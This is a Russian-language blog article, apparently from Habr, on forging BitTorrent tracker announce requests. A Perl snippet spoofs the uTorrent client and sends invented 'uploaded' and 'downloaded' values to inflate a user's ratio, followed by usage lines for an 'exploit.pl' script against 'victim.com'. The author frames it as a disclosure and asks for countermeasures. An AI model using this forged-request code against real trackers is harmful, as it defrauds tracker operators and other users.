Как стать автором
Обновить

Уязвимость в Bittorrent протоколе

Время на прочтение 2 мин
Количество просмотров 1.7K
Перед прочтением статьи порекомендовал бы ознакомится с основными терминами данной технологии http://ru.wikipedia.org/wiki/BitTorrent
Также желательны знания основ языка Perl

Сегодня Bittorrent протокол находится на пике популярности. Сотни и тысячи терабайт ежесекундно мчится к пирам по оптоволоконным магистралям и радиоканалам. Миллионы файлов (torrent) появляются на трекерах. Что же может этому помешать?

В данной статье хочу обсудить и показать чрезмерную открытость и простоту обмена сообщениями трекера и битторрент клиента. Может быть уязвимостью это нельзя назвать, т.к. реальной угрозы для сервера и клиента нет, но это может подорвать основу функционирования сети и резко снизить общую скорость отдачи. Ни для кого не секрет что показателем активности пользователя трекера является ratio. Чем оно меньше тем больше ограничений накладывается на юзера. Очень низкое ratio может послужить удалением аккаунта. Особенно это актуально в сетях использующих NAT, т.к. Upload получается мизерный. Попробуем углубиться в механизм сообщений клиент-сервер и попытаться повысить ratio.

Собственно начать описания хочу с разбора HTTP заголовка большинства Bittorrent клиентов (для подробного описания обратитесь к соответствующей документации):
GET announce.php?info_hash=%8bz%0d%9b%93%ac%7d%d0%90%60r%03%1b%2b%89%60p%08%96%2e&peer_id=-UT1600-%da%81%bc%ce4%9c%a0%c1k%81%a7%f9&port=6881&uploaded=35302368&downloaded=54454366434&left=177313792&key=F53CB1E7&numwant=200&compact=1&no_peer_id=1 HTTP/1.1
Host: myhost.com
User-Agent: uTorrent/1600
Accept-Encoding: gzip
Connection: Close


Как видим все ключевые параметры передаются в открытом виде и этим можно воспользоваться. Подставив параметры в заголовок (получение переменных каждый может реализовать по своему, будь то консоль или GUI) и передав его в предварительно открытый с трекером Socket, выполнив преобразование хеша файла к понятному трекеру виду:
my @r = $info_hash =~ /(.{1,2})/g;
$info = join('%',@r);
$info_hash = "%" . $info;


my $request = "";
$request .= "GET /announce.php?passkey=$passkey&info_hash=$info_hash&peer_id=-UT1750-%fa%91%a4IE%22ys%fb%3cCc&port=6881&uploaded=$uploaded&downloaded=$downloaded&left=1037668352&key=E4DC5ED5&event=started&numwant=200&compact=1&no_peer_id=1 HTTP/1.1\r\n";
$request .= "Host: $host:$port\r\n";
$request .= "User-Agent: uTorrent/1750\r\n";
$request .= "Accept-Encoding: gzip\r\n";
$request .= "Connection: Close\r\n\r\n";

print $sock $request;
print $sock $request;


Проверяем профиль и радуемся полученым мегабайтам :)

Пример использования:
perl exploit.pl <info_hash>
perl exploit.pl victim.com 80 1ea9a2766ce3323b3985fddf4a4d11fb 10551598080 0 7E4067D35AE85FF20BFB9D08DCA0E688980CEFB8

Данная статья написана только для ознакомления и использование этого материала может повлечь к удалению вашего аккаунта.

Хотелось бы услышать мнение по данной проблеме и конечно же пути её решения. Мне известны некоторые античитёрские приёмы, но как мне кажется они мало эффективны.

Поповоду оформления сильно не пинать т.к. Хабравики закрыта.

Сылки по теме:
http://www.securitylab.ru/news/301042.php
http://ru.wikipedia.org/wiki/BitTorrent
Теги:
Хабы:
0
Комментарии 14
Комментарии Комментарии 14

Публикации

Истории

Работа

Ближайшие события

Московский туристический хакатон
Дата 23 марта – 7 апреля
Место
Москва Онлайн
Геймтон «DatsEdenSpace» от DatsTeam
Дата 5 – 6 апреля
Время 17:00 – 20:00
Место
Онлайн